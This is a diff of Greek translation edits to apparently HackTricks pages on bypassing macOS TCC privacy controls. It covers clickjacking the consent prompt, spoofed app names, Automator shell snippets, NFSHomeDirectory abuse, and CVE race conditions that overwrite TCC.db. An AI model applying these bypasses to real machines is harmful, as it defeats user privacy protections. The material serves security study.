Όπως αναφέρθηκε προηγουμένως, είναι δυνατό να **παραχωρήσετε πρόσβαση σε μια εφαρμογή σε ένα αρχείο με το να το σύρετε και να το αποθέσετε σε αυτή**. Αυτή η πρόσβαση δεν θα καθορίζεται σε καμία βάση δεδομένων TCC αλλά ως **εκτεταμένο** **γνωριστικό του αρχείου**. Αυτό το γνωριστικό θα **αποθηκεύει το UUID** της επιτρεπόμενης εφαρμογής:
|
||||
Όπως αναφέρθηκε προηγουμένως, είναι δυνατό να **παραχωρήσετε πρόσβαση σε μια εφαρμογή σε ένα αρχείο με τη μέθοδο drag\&drop**. Αυτή η πρόσβαση δεν θα καθορίζεται σε καμία βάση δεδομένων TCC αλλά ως **εκτεταμένο** **χαρακτηριστικό του αρχείου**. Αυτό το χαρακτηριστικό θα **αποθηκεύει το UUID** της επιτρεπόμενης εφαρμογής:
|
||||
```bash
|
||||
xattr Desktop/private.txt
|
||||
com.apple.macl
|
||||
@ -252,9 +252,9 @@ uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
|
||||
> [!NOTE]
|
||||
> Είναι περίεργο ότι το **`com.apple.macl`** χαρακτηριστικό διαχειρίζεται από το **Sandbox**, όχι από το tccd.
|
||||
>
|
||||
> Επίσης σημειώστε ότι αν μετακινήσετε ένα αρχείο που επιτρέπει το UUID μιας εφαρμογής στον υπολογιστή σας σε διαφορετικό υπολογιστή, επειδή η ίδια εφαρμογή θα έχει διαφορετικά UIDs, δεν θα παραχωρήσει πρόσβαση σε αυτή την εφαρμογή.
|
||||
> Επίσης, σημειώστε ότι αν μετακινήσετε ένα αρχείο που επιτρέπει το UUID μιας εφαρμογής στον υπολογιστή σας σε διαφορετικό υπολογιστή, επειδή η ίδια εφαρμογή θα έχει διαφορετικά UIDs, δεν θα παραχωρήσει πρόσβαση σε αυτήν την εφαρμογή.
|
||||
|
||||
Το εκτεταμένο χαρακτηριστικό `com.apple.macl` **δεν μπορεί να διαγραφεί** όπως άλλα εκτεταμένα χαρακτηριστικά επειδή είναι **προστατευμένο από το SIP**. Ωστόσο, όπως [**εξηγείται σε αυτή την ανάρτηση**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), είναι δυνατόν να το απενεργοποιήσετε **συμπιέζοντας** το αρχείο, **διαγράφοντας** το και **αποσυμπιέζοντας** το.
|
||||
Το εκτεταμένο χαρακτηριστικό `com.apple.macl` **δεν μπορεί να διαγραφεί** όπως άλλα εκτεταμένα χαρακτηριστικά επειδή είναι **προστατευμένο από το SIP**. Ωστόσο, όπως [**εξηγείται σε αυτήν την ανάρτηση**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), είναι δυνατόν να το απενεργοποιήσετε **συμπιέζοντας** το αρχείο, **διαγράφοντας** το και **αποσυμπιέζοντας** το.
|
||||
|
||||
## TCC Privesc & Bypasses
|
||||
|
||||
@ -308,7 +308,7 @@ strftime('%s', 'now') -- last_reminded with default current timestamp
|
||||
|
||||
### TCC Payloads
|
||||
|
||||
Αν καταφέρατε να μπείτε σε μια εφαρμογή με κάποιες άδειες TCC, ελέγξτε την παρακάτω σελίδα με τα payloads TCC για να τις εκμεταλλευτείτε:
|
||||
Αν καταφέρατε να μπείτε σε μια εφαρμογή με κάποιες άδειες TCC, ελέγξτε την παρακάτω σελίδα με TCC payloads για να τις εκμεταλλευτείτε:
|
||||
|
||||
{{#ref}}
|
||||
macos-tcc-payloads.md
|
||||
@ -363,7 +363,7 @@ EOD
|
||||
> [!WARNING]
|
||||
> Με αυτή την άδεια θα μπορείτε να **ζητήσετε από τον Finder να αποκτήσει πρόσβαση σε περιορισμένους φακέλους TCC** και να σας δώσει τα αρχεία, αλλά όσο γνωρίζω δεν θα μπορείτε να κάνετε τον Finder να εκτελεί αυθαίρετο κώδικα για να εκμεταλλευτείτε πλήρως την πρόσβαση FDA του.
|
||||
>
|
||||
> Επομένως, δεν θα μπορείτε να εκμεταλλευτείτε τις πλήρεις δυνατότητες της FDA.
|
||||
> Επομένως, δεν θα μπορείτε να εκμεταλλευτείτε πλήρως τις δυνατότητες FDA.
|
||||
|
||||
Αυτή είναι η προτροπή TCC για να αποκτήσετε δικαιώματα Αυτοματοποίησης πάνω στον Finder:
|
||||
|
||||
@ -374,7 +374,7 @@ EOD
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Αποκτήστε ένα shell μέσα στον Automator</summary>
|
||||
<summary>Get a shell inside Automator</summary>
|
||||
```applescript
|
||||
osascript<<EOD
|
||||
set theScript to "touch /tmp/something"
|
||||
@ -494,7 +494,7 @@ EOF
|
||||
```
|
||||
### `kTCCServiceAccessibility` προς FDA\*
|
||||
|
||||
Δείτε αυτή τη σελίδα για μερικά [**payloads για την κατάχρηση των δικαιωμάτων Accessibility**](macos-tcc-payloads.md#accessibility) για privesc προς FDA\* ή για να τρέξετε ένα keylogger για παράδειγμα.
|
||||
Δείτε αυτή τη σελίδα για μερικά [**payloads για να καταχραστείτε τις άδειες Accessibility**](macos-tcc-payloads.md#accessibility) για privesc προς FDA\* ή να τρέξετε έναν keylogger για παράδειγμα.
|
||||
|
||||
### **Endpoint Security Client προς FDA**
|
||||
|
||||
@ -502,7 +502,7 @@ EOF
|
||||
|
||||
### Αρχείο Πολιτικής Συστήματος SysAdmin προς FDA
|
||||
|
||||
**`kTCCServiceSystemPolicySysAdminFiles`** επιτρέπει να **αλλάξετε** το **`NFSHomeDirectory`** χαρακτηριστικό ενός χρήστη που αλλάζει τον φάκελο του και επομένως επιτρέπει να **παρακάμψετε το TCC**.
|
||||
**`kTCCServiceSystemPolicySysAdminFiles`** επιτρέπει να **αλλάξετε** την **`NFSHomeDirectory`** ιδιότητα ενός χρήστη που αλλάζει τον φάκελο του και επομένως επιτρέπει να **παρακάμψετε το TCC**.
|
||||
|
||||
### Βάση Δεδομένων TCC Χρήστη προς FDA
|
||||
|
||||
@ -518,14 +518,14 @@ EOF
|
||||
|
||||
### **SIP Bypass προς TCC Bypass**
|
||||
|
||||
Η βάση δεδομένων **TCC** του συστήματος προστατεύεται από **SIP**, γι' αυτό μόνο οι διαδικασίες με τα **υποδεικνυόμενα δικαιώματα θα μπορούν να την τροποποιήσουν**. Επομένως, αν ένας επιτιθέμενος βρει ένα **SIP bypass** πάνω σε ένα **αρχείο** (να μπορεί να τροποποιήσει ένα αρχείο που περιορίζεται από SIP), θα μπορεί να:
|
||||
Η βάση δεδομένων **TCC** του συστήματος προστατεύεται από **SIP**, γι' αυτό μόνο οι διαδικασίες με τις **καθορισμένες εξουσιοδοτήσεις θα μπορούν να την τροποποιήσουν**. Επομένως, αν ένας επιτιθέμενος βρει μια **SIP bypass** πάνω σε ένα **αρχείο** (να μπορεί να τροποποιήσει ένα αρχείο περιορισμένο από SIP), θα μπορεί να:
|
||||
|
||||
- **Αφαιρέσει την προστασία** μιας βάσης δεδομένων TCC και να δώσει στον εαυτό του όλα τα δικαιώματα TCC. Θα μπορούσε να καταχραστεί οποιοδήποτε από αυτά τα αρχεία για παράδειγμα:
|
||||
- Η βάση δεδομένων TCC συστήματος
|
||||
- Η βάση δεδομένων TCC του συστήματος
|
||||
- REG.db
|
||||
- MDMOverrides.plist
|
||||
|
||||
Ωστόσο, υπάρχει μια άλλη επιλογή για να καταχραστεί αυτό το **SIP bypass για να παρακάμψει το TCC**, το αρχείο `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` είναι μια λίστα επιτρεπόμενων εφαρμογών που απαιτούν μια εξαίρεση TCC. Επομένως, αν ένας επιτιθέμενος μπορεί να **αφαιρέσει την προστασία SIP** από αυτό το αρχείο και να προσθέσει την **δική του εφαρμογή**, η εφαρμογή θα μπορεί να παρακάμψει το TCC.\
|
||||
Ωστόσο, υπάρχει μια άλλη επιλογή για να καταχραστεί αυτή η **SIP bypass για να παρακάμψει το TCC**, το αρχείο `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` είναι μια λίστα επιτρεπόμενων εφαρμογών που απαιτούν μια εξαίρεση TCC. Επομένως, αν ένας επιτιθέμενος μπορεί να **αφαιρέσει την προστασία SIP** από αυτό το αρχείο και να προσθέσει την **δική του εφαρμογή**, η εφαρμογή θα μπορεί να παρακάμψει το TCC.\
|
||||
Για παράδειγμα για να προσθέσετε το terminal:
|
||||
```bash
|
||||
# Get needed info
|
||||
|
||||
@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Με βάση τη λειτουργικότητα
|
||||
## By functionality
|
||||
|
||||
### Παράκαμψη Γραφής
|
||||
### Write Bypass
|
||||
|
||||
Αυτή δεν είναι μια παράκαμψη, είναι απλώς πώς λειτουργεί το TCC: **Δεν προστατεύει από τη γραφή**. Αν το Terminal **δεν έχει πρόσβαση για να διαβάσει την Επιφάνεια Εργασίας ενός χρήστη, μπορεί ακόμα να γράψει σε αυτήν**:
|
||||
Αυτό δεν είναι μια παράκαμψη, είναι απλώς πώς λειτουργεί το TCC: **Δεν προστατεύει από την εγγραφή**. Αν το Terminal **δεν έχει πρόσβαση για να διαβάσει την επιφάνεια εργασίας ενός χρήστη, μπορεί ακόμα να γράψει σε αυτήν**:
|
||||
```shell-session
|
||||
username@hostname ~ % ls Desktop
|
||||
ls: Desktop: Operation not permitted
|
||||
@ -16,18 +16,18 @@ ls: Desktop: Operation not permitted
|
||||
username@hostname ~ % cat Desktop/lalala
|
||||
asd
|
||||
```
|
||||
Το **εκτεταμένο χαρακτηριστικό `com.apple.macl`** προστίθεται στο νέο **αρχείο** για να δώσει στην **εφαρμογή των δημιουργών** πρόσβαση για να το διαβάσει.
|
||||
Το **εκτεταμένο χαρακτηριστικό `com.apple.macl`** προστίθεται στο νέο **αρχείο** για να δώσει στην **εφαρμογή του δημιουργού** πρόσβαση για να το διαβάσει.
|
||||
|
||||
### TCC ClickJacking
|
||||
|
||||
Είναι δυνατόν να **τοποθετήσετε ένα παράθυρο πάνω από την προτροπή TCC** για να κάνετε τον χρήστη να **αποδεχτεί** χωρίς να το παρατηρήσει. Μπορείτε να βρείτε ένα PoC στο [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**.**
|
||||
Είναι δυνατόν να **τοποθετήσετε ένα παράθυρο πάνω από το προειδοποιητικό μήνυμα TCC** ώστε ο χρήστης να το **αποδεχτεί** χωρίς να το προσέξει. Μπορείτε να βρείτε ένα PoC στο [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**.**
|
||||
|
||||
<figure><img src="broken-reference" alt=""><figcaption><p><a href="https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg">https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg</a></p></figcaption></figure>
|
||||
|
||||
### TCC Request by arbitrary name
|
||||
|
||||
Ο επιτιθέμενος μπορεί να **δημιουργήσει εφαρμογές με οποιοδήποτε όνομα** (π.χ. Finder, Google Chrome...) στο **`Info.plist`** και να ζητήσει πρόσβαση σε κάποια προστατευμένη τοποθεσία TCC. Ο χρήστης θα νομίζει ότι η νόμιμη εφαρμογή είναι αυτή που ζητά αυτή την πρόσβαση.\
|
||||
Επιπλέον, είναι δυνατόν να **αφαιρέσετε την νόμιμη εφαρμογή από το Dock και να βάλετε την ψεύτικη**, έτσι όταν ο χρήστης κάνει κλικ στην ψεύτικη (η οποία μπορεί να χρησιμοποιεί το ίδιο εικονίδιο) μπορεί να καλέσει την νόμιμη, να ζητήσει άδειες TCC και να εκτελέσει κακόβουλο λογισμικό, κάνοντάς τον χρήστη να πιστεύει ότι η νόμιμη εφαρμογή ζήτησε την πρόσβαση.
|
||||
Επιπλέον, είναι δυνατόν να **αφαιρεθεί η νόμιμη εφαρμογή από το Dock και να τοποθετηθεί η ψεύτικη**, έτσι όταν ο χρήστης κάνει κλικ στην ψεύτικη (η οποία μπορεί να χρησιμοποιεί το ίδιο εικονίδιο) μπορεί να καλέσει την νόμιμη, να ζητήσει άδειες TCC και να εκτελέσει κακόβουλο λογισμικό, κάνοντάς τον χρήστη να πιστεύει ότι η νόμιμη εφαρμογή ζήτησε την πρόσβαση.
|
||||
|
||||
<figure><img src="https://lh7-us.googleusercontent.com/Sh-Z9qekS_fgIqnhPVSvBRmGpCXCpyuVuTw0x5DLAIxc2MZsSlzBOP7QFeGo_fjMeCJJBNh82f7RnewW1aWo8r--JEx9Pp29S17zdDmiyGgps1hH9AGR8v240m5jJM8k0hovp7lm8ZOrbzv-RC8NwzbB8w=s2048" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
@ -58,11 +58,11 @@ asd
|
||||
|
||||
### iCloud
|
||||
|
||||
Η άδεια **`com.apple.private.icloud-account-access`** είναι δυνατή για να επικοινωνήσει με την υπηρεσία XPC **`com.apple.iCloudHelper`** που θα **παρέχει iCloud tokens**.
|
||||
Η άδεια **`com.apple.private.icloud-account-access`** επιτρέπει την επικοινωνία με την υπηρεσία XPC **`com.apple.iCloudHelper`** που θα **παρέχει tokens iCloud**.
|
||||
|
||||
**iMovie** και **Garageband** είχαν αυτή την άδεια και άλλες που επέτρεπαν.
|
||||
**iMovie** και **Garageband** είχαν αυτή την άδεια και άλλες που το επέτρεπαν.
|
||||
|
||||
Για περισσότερες **πληροφορίες** σχετικά με την εκμετάλλευση για **να αποκτήσετε iCloud tokens** από αυτή την άδεια, ελέγξτε την ομιλία: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
Για περισσότερες **πληροφορίες** σχετικά με την εκμετάλλευση για **να αποκτήσετε tokens icloud** από αυτή την άδεια, ελέγξτε την ομιλία: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
|
||||
### kTCCServiceAppleEvents / Automation
|
||||
|
||||
@ -145,7 +145,7 @@ $> ls ~/Documents
|
||||
```
|
||||
### CVE-2021-30761 - Σημειώσεις
|
||||
|
||||
Οι Σημειώσεις είχαν πρόσβαση σε τοποθεσίες προστατευμένες από το TCC, αλλά όταν δημιουργείται μια σημείωση, αυτή **δημιουργείται σε μια μη προστατευμένη τοποθεσία**. Έτσι, θα μπορούσατε να ζητήσετε από τις σημειώσεις να αντιγράψουν ένα προστατευμένο αρχείο σε μια σημείωση (δηλαδή σε μια μη προστατευμένη τοποθεσία) και στη συνέχεια να αποκτήσετε πρόσβαση στο αρχείο:
|
||||
Οι Σημειώσεις είχαν πρόσβαση σε τοποθεσίες προστατευμένες από TCC, αλλά όταν δημιουργείται μια σημείωση, αυτή **δημιουργείται σε μια μη προστατευμένη τοποθεσία**. Έτσι, θα μπορούσατε να ζητήσετε από τις σημειώσεις να αντιγράψουν ένα προστατευμένο αρχείο σε μια σημείωση (δηλαδή σε μια μη προστατευμένη τοποθεσία) και στη συνέχεια να αποκτήσετε πρόσβαση στο αρχείο:
|
||||
|
||||
<figure><img src="../../../../../images/image (476).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -153,7 +153,7 @@ $> ls ~/Documents
|
||||
|
||||
Ο δυαδικός κώδικας `/usr/libexec/lsd` με τη βιβλιοθήκη `libsecurity_translocate` είχε την εξουσία `com.apple.private.nullfs_allow`, η οποία του επέτρεπε να δημιουργήσει **nullfs** mount και είχε την εξουσία `com.apple.private.tcc.allow` με **`kTCCServiceSystemPolicyAllFiles`** για να αποκτά πρόσβαση σε κάθε αρχείο.
|
||||
|
||||
Ήταν δυνατό να προστεθεί το χαρακτηριστικό καραντίνας στη "Βιβλιοθήκη", να κληθεί η υπηρεσία XPC **`com.apple.security.translocation`** και στη συνέχεια θα χαρτογραφούσε τη Βιβλιοθήκη σε **`$TMPDIR/AppTranslocation/d/d/Library`** όπου όλα τα έγγραφα μέσα στη Βιβλιοθήκη θα μπορούσαν να είναι **προσβάσιμα**.
|
||||
Ήταν δυνατό να προστεθεί το χαρακτηριστικό καραντίνας στη "Βιβλιοθήκη", να καλέσετε την υπηρεσία XPC **`com.apple.security.translocation`** και στη συνέχεια θα χαρτογραφούσε τη Βιβλιοθήκη σε **`$TMPDIR/AppTranslocation/d/d/Library`** όπου όλα τα έγγραφα μέσα στη Βιβλιοθήκη θα μπορούσαν να είναι **προσβάσιμα**.
|
||||
|
||||
### CVE-2023-38571 - Μουσική & Τηλεόραση <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a>
|
||||
|
||||
@ -162,18 +162,19 @@ $> ls ~/Documents
|
||||
- `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"`
|
||||
- `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3`
|
||||
|
||||
Αυτή η συμπεριφορά **`rename(a, b);`** είναι ευάλωτη σε **Race Condition**, καθώς είναι δυνατό να τοποθετηθεί μέσα στον φάκελο `Automatically Add to Music.localized` ένα ψεύτικο αρχείο **TCC.db** και στη συνέχεια, όταν δημιουργηθεί ο νέος φάκελος (b) να αντιγραφεί το αρχείο, να διαγραφεί και να δείξει σε **`~/Library/Application Support/com.apple.TCC`**/.
|
||||
Αυτή η συμπεριφορά **`rename(a, b);`** είναι ευάλωτη σε **Race Condition**, καθώς είναι δυνατό να τοποθετηθεί μέσα στον φάκελο `Automatically Add to Music.localized` ένα ψεύτικο αρχείο **TCC.db** και στη συνέχεια, όταν δημιουργηθεί ο νέος φάκελος (b) για να αντιγραφεί το αρχείο, να διαγραφεί και να δείξει σε **`~/Library/Application Support/com.apple.TCC`**/.
|
||||
|
||||
### SQLITE_SQLLOG_DIR - CVE-2023-32422
|
||||
|
||||
Εάν **`SQLITE_SQLLOG_DIR="path/folder"`** σημαίνει βασικά ότι **κάθε ανοιχτή βάση δεδομένων αντιγράφεται σε αυτήν την τοποθεσία**. Σε αυτήν την CVE, αυτή η ρύθμιση ελέγχου καταχράστηκε για να **γράψει** μέσα σε μια **βάση δεδομένων SQLite** που πρόκειται να **ανοιχτεί από μια διαδικασία με FDA τη βάση δεδομένων TCC**, και στη συνέχεια να καταχραστεί **`SQLITE_SQLLOG_DIR`** με ένα **symlink στο όνομα αρχείου** έτσι ώστε όταν αυτή η βάση δεδομένων είναι **ανοιχτή**, ο χρήστης **TCC.db αντικαθίσταται** με την ανοιχτή.\
|
||||
Εάν **`SQLITE_SQLLOG_DIR="path/folder"`** σημαίνει βασικά ότι **οποιαδήποτε ανοιχτή βάση δεδομένων αντιγράφεται σε αυτήν την τοποθεσία**. Σε αυτήν την CVE, αυτή η ρύθμιση ελέγχου καταχράστηκε για να **γράψει** μέσα σε μια **βάση δεδομένων SQLite** που πρόκειται να **ανοιχτεί από μια διαδικασία με FDA τη βάση δεδομένων TCC**, και στη συνέχεια να καταχραστεί **`SQLITE_SQLLOG_DIR`** με ένα **symlink στο όνομα αρχείου** έτσι ώστε όταν αυτή η βάση δεδομένων είναι **ανοιχτή**, ο χρήστης **TCC.db αντικαθίσταται** με την ανοιχτή.
|
||||
|
||||
**Περισσότερες πληροφορίες** [**στην αναφορά**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **και** [**στην ομιλία**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s).
|
||||
|
||||
### **SQLITE_AUTO_TRACE**
|
||||
|
||||
Εάν η μεταβλητή περιβάλλοντος **`SQLITE_AUTO_TRACE`** είναι ρυθμισμένη, η βιβλιοθήκη **`libsqlite3.dylib`** θα αρχίσει να **καταγράφει** όλα τα SQL ερωτήματα. Πολλές εφαρμογές χρησιμοποίησαν αυτή τη βιβλιοθήκη, οπότε ήταν δυνατό να καταγραφούν όλα τα SQLite ερωτήματα τους.
|
||||
|
||||
Πολλές εφαρμογές της Apple χρησιμοποίησαν αυτή τη βιβλιοθήκη για να αποκτήσουν πρόσβαση σε πληροφορίες προστατευμένες από το TCC.
|
||||
Πολλές εφαρμογές της Apple χρησιμοποίησαν αυτή τη βιβλιοθήκη για να αποκτήσουν πρόσβαση σε πληροφορίες προστατευμένες από TCC.
|
||||
```bash
|
||||
# Set this env variable everywhere
|
||||
launchctl setenv SQLITE_AUTO_TRACE 1
|
||||
@ -184,7 +185,7 @@ launchctl setenv SQLITE_AUTO_TRACE 1
|
||||
|
||||
Ρυθμίζοντας το εξής: `MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"`. Αν το `path` είναι έγκυρος φάκελος, το σφάλμα θα ενεργοποιηθεί και μπορούμε να χρησιμοποιήσουμε το `fs_usage` για να δούμε τι συμβαίνει στο πρόγραμμα:
|
||||
|
||||
- ένα αρχείο θα `open()`εται, που ονομάζεται `path/.dat.nosyncXXXX.XXXXXX` (X είναι τυχαίος)
|
||||
- ένα αρχείο θα `open()`αριστεί, ονομάζεται `path/.dat.nosyncXXXX.XXXXXX` (X είναι τυχαίος)
|
||||
- ένα ή περισσότερα `write()` θα γράψουν τα περιεχόμενα στο αρχείο (δεν το ελέγχουμε αυτό)
|
||||
- το `path/.dat.nosyncXXXX.XXXXXX` θα `renamed()` σε `path/name`
|
||||
|
||||
@ -193,9 +194,9 @@ launchctl setenv SQLITE_AUTO_TRACE 1
|
||||
Δεν είναι ασφαλής γιατί πρέπει να **λύσει τους παλιούς και νέους φακέλους ξεχωριστά**, κάτι που μπορεί να πάρει κάποιο χρόνο και μπορεί να είναι ευάλωτο σε Race Condition. Για περισσότερες πληροφορίες μπορείτε να ελέγξετε τη λειτουργία `renameat_internal()` του `xnu`.
|
||||
|
||||
> [!CAUTION]
|
||||
> Ουσιαστικά, αν μια προνομιακή διαδικασία μετονομάζει από έναν φάκελο που ελέγχετε, θα μπορούσατε να κερδίσετε ένα RCE και να το κάνετε να έχει πρόσβαση σε ένα διαφορετικό αρχείο ή, όπως σε αυτήν την CVE, να ανοίξετε το αρχείο που δημιούργησε η προνομιακή εφαρμογή και να αποθηκεύσετε ένα FD.
|
||||
> Έτσι, βασικά, αν μια προνομιακή διαδικασία μετονομάζει από έναν φάκελο που ελέγχετε, θα μπορούσατε να κερδίσετε μια RCE και να την κάνετε να έχει πρόσβαση σε ένα διαφορετικό αρχείο ή, όπως σε αυτήν την CVE, να ανοίξετε το αρχείο που δημιούργησε η προνομιακή εφαρμογή και να αποθηκεύσετε ένα FD.
|
||||
>
|
||||
> Αν η μετονομασία έχει πρόσβαση σε έναν φάκελο που ελέγχετε, ενώ έχετε τροποποιήσει το αρχείο προέλευσης ή έχετε ένα FD σε αυτό, αλλάζετε το αρχείο (ή φάκελο) προορισμού για να δείξετε σε ένα symlink, ώστε να μπορείτε να γράφετε όποτε θέλετε.
|
||||
> Αν η μετονομασία έχει πρόσβαση σε έναν φάκελο που ελέγχετε, ενώ έχετε τροποποιήσει το αρχικό αρχείο ή έχετε ένα FD σε αυτό, αλλάζετε το αρχείο (ή φάκελο) προορισμού για να δείξετε σε ένα symlink, ώστε να μπορείτε να γράφετε όποτε θέλετε.
|
||||
|
||||
Αυτή ήταν η επίθεση στην CVE: Για παράδειγμα, για να αντικαταστήσουμε τη βάση δεδομένων `TCC.db` του χρήστη, μπορούμε:
|
||||
|
||||
@ -218,15 +219,15 @@ launchctl setenv SQLITE_AUTO_TRACE 1
|
||||
|
||||
### Apple Remote Desktop
|
||||
|
||||
Ως root θα μπορούσατε να ενεργοποιήσετε αυτή την υπηρεσία και ο **ARD agent θα έχει πλήρη πρόσβαση στο δίσκο** που θα μπορούσε στη συνέχεια να καταχραστεί από έναν χρήστη για να τον κάνει να αντιγράψει μια νέα **βάση δεδομένων χρήστη TCC**.
|
||||
Ως root θα μπορούσατε να ενεργοποιήσετε αυτή την υπηρεσία και ο **ARD agent θα έχει πλήρη πρόσβαση στο δίσκο** που θα μπορούσε στη συνέχεια να καταχραστεί από έναν χρήστη για να τον κάνει να αντιγράψει μια νέα **βάση δεδομένων TCC χρήστη**.
|
||||
|
||||
## Με **NFSHomeDirectory**
|
||||
|
||||
Το TCC χρησιμοποιεί μια βάση δεδομένων στον φάκελο HOME του χρήστη για να ελέγξει την πρόσβαση σε πόρους που είναι συγκεκριμένοι για τον χρήστη στο **$HOME/Library/Application Support/com.apple.TCC/TCC.db**.\
|
||||
Επομένως, αν ο χρήστης καταφέρει να επανεκκινήσει το TCC με μια μεταβλητή περιβάλλοντος $HOME που δείχνει σε έναν **διαφορετικό φάκελο**, ο χρήστης θα μπορούσε να δημιουργήσει μια νέα βάση δεδομένων TCC στο **/Library/Application Support/com.apple.TCC/TCC.db** και να ξεγελάσει το TCC να παραχωρήσει οποιαδήποτε άδεια TCC σε οποιαδήποτε εφαρμογή.
|
||||
Το TCC χρησιμοποιεί μια βάση δεδομένων στον φάκελο HOME του χρήστη για να ελέγξει την πρόσβαση σε πόρους συγκεκριμένους για τον χρήστη στο **$HOME/Library/Application Support/com.apple.TCC/TCC.db**.\
|
||||
Επομένως, αν ο χρήστης καταφέρει να επανεκκινήσει το TCC με μια μεταβλητή περιβάλλοντος $HOME που δείχνει σε έναν **διαφορετικό φάκελο**, ο χρήστης θα μπορούσε να δημιουργήσει μια νέα βάση δεδομένων TCC στο **/Library/Application Support/com.apple.TCC/TCC.db** και να εξαπατήσει το TCC να παραχωρήσει οποιαδήποτε άδεια TCC σε οποιαδήποτε εφαρμογή.
|
||||
|
||||
> [!TIP]
|
||||
> Σημειώστε ότι η Apple χρησιμοποιεί τη ρύθμιση που αποθηκεύεται μέσα στο προφίλ του χρήστη στο **`NFSHomeDirectory`** χαρακτηριστικό για την **τιμή του `$HOME`**, οπότε αν παραβιάσετε μια εφαρμογή με άδειες να τροποποιήσει αυτή την τιμή (**`kTCCServiceSystemPolicySysAdminFiles`**), μπορείτε να **οπλίσετε** αυτή την επιλογή με μια παράκαμψη TCC.
|
||||
> Σημειώστε ότι η Apple χρησιμοποιεί τη ρύθμιση που αποθηκεύεται στο προφίλ του χρήστη στο **`NFSHomeDirectory`** χαρακτηριστικό για την **τιμή του `$HOME`**, οπότε αν παραβιάσετε μια εφαρμογή με άδειες να τροποποιήσει αυτή την τιμή (**`kTCCServiceSystemPolicySysAdminFiles`**), μπορείτε να **οπλοποιήσετε** αυτή την επιλογή με μια παράκαμψη TCC.
|
||||
|
||||
### [CVE-2020–9934 - TCC](./#c19b) <a href="#c19b" id="c19b"></a>
|
||||
|
||||
@ -239,7 +240,7 @@ launchctl setenv SQLITE_AUTO_TRACE 1
|
||||
1. Πάρτε ένα _csreq_ blob για την στοχοθετημένη εφαρμογή.
|
||||
2. Φυτέψτε ένα ψεύτικο _TCC.db_ αρχείο με απαιτούμενη πρόσβαση και το _csreq_ blob.
|
||||
3. Εξάγετε την εγγραφή Υπηρεσιών Καταλόγου του χρήστη με [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/).
|
||||
4. Τροποποιήστε την εγγραφή Υπηρεσιών Καταλόγου για να αλλάξετε το φάκελο του χρήστη.
|
||||
4. Τροποποιήστε την εγγραφή Υπηρεσιών Καταλόγου για να αλλάξετε τον φάκελο του χρήστη.
|
||||
5. Εισάγετε την τροποποιημένη εγγραφή Υπηρεσιών Καταλόγου με [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/).
|
||||
6. Σταματήστε το _tccd_ του χρήστη και επανεκκινήστε τη διαδικασία.
|
||||
|
||||
@ -256,14 +257,14 @@ launchctl setenv SQLITE_AUTO_TRACE 1
|
||||
../../../macos-proces-abuse/
|
||||
{{#endref}}
|
||||
|
||||
Επιπλέον, η πιο κοινή ένεση διαδικασίας για να παρακάμψετε το TCC που βρέθηκε είναι μέσω **plugins (load library)**.\
|
||||
Επιπλέον, η πιο κοινή ένεση διαδικασίας για να παρακαμφθεί το TCC που βρέθηκε είναι μέσω **plugins (load library)**.\
|
||||
Τα plugins είναι επιπλέον κώδικας συνήθως με τη μορφή βιβλιοθηκών ή plist, που θα **φορτωθούν από την κύρια εφαρμογή** και θα εκτελούνται υπό το πλαίσιο της. Επομένως, αν η κύρια εφαρμογή είχε πρόσβαση σε αρχεία περιορισμένα από το TCC (μέσω παραχωρημένων αδειών ή δικαιωμάτων), ο **προσαρμοσμένος κώδικας θα έχει επίσης πρόσβαση**.
|
||||
|
||||
### CVE-2020-27937 - Directory Utility
|
||||
|
||||
Η εφαρμογή `/System/Library/CoreServices/Applications/Directory Utility.app` είχε την άδεια **`kTCCServiceSystemPolicySysAdminFiles`**, φόρτωσε plugins με **`.daplug`** επέκταση και **δεν είχε** τη σκληρή εκτέλεση.
|
||||
Η εφαρμογή `/System/Library/CoreServices/Applications/Directory Utility.app` είχε την άδεια **`kTCCServiceSystemPolicySysAdminFiles`**, φόρτωσε plugins με επέκταση **`.daplug`** και **δεν είχε** τη σκληρυμένη εκτέλεση.
|
||||
|
||||
Για να οπλίσετε αυτή την CVE, το **`NFSHomeDirectory`** **αλλάζει** (καταχρώντας την προηγούμενη άδεια) προκειμένου να μπορέσετε να **καταλάβετε τη βάση δεδομένων TCC του χρήστη** για να παρακάμψετε το TCC.
|
||||
Για να οπλοποιήσετε αυτή την CVE, το **`NFSHomeDirectory`** **αλλάζει** (καταχρώντας την προηγούμενη άδεια) προκειμένου να μπορέσει να **αναλάβει τη βάση δεδομένων TCC των χρηστών** για να παρακάμψει το TCC.
|
||||
|
||||
Για περισσότερες πληροφορίες ελέγξτε την [**αρχική αναφορά**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/).
|
||||
|
||||
